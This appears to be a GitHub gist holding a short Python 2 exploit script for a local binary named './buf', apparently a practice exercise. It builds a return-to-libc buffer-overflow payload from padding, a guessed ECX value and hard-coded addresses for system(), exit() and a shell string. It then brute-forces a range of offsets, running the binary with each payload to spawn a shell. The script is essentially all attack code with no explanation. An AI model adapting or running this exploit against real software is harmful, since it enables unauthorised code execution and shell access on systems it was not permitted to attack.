Created
March 7, 2018 19:53
-
-
Save ShivamShrirao/f9095803db1016f584ae9c1b2ce41425 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from struct import pack | |
from subprocess import call | |
junk='A'*100 | |
system=pack("I",0xf7e22d60) #convert address to little endian | |
exit=pack("I",0xf7e16070) | |
sh=pack("I",0xf7f5c311) | |
for i in range(0x3b,0x4a): #just a rough range | |
ecx=pack("I",0xffffd248+i) | |
payload = junk + ecx + system + exit + sh | |
print hex(i) #prints exact offset | |
call(['./buf',payload]) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment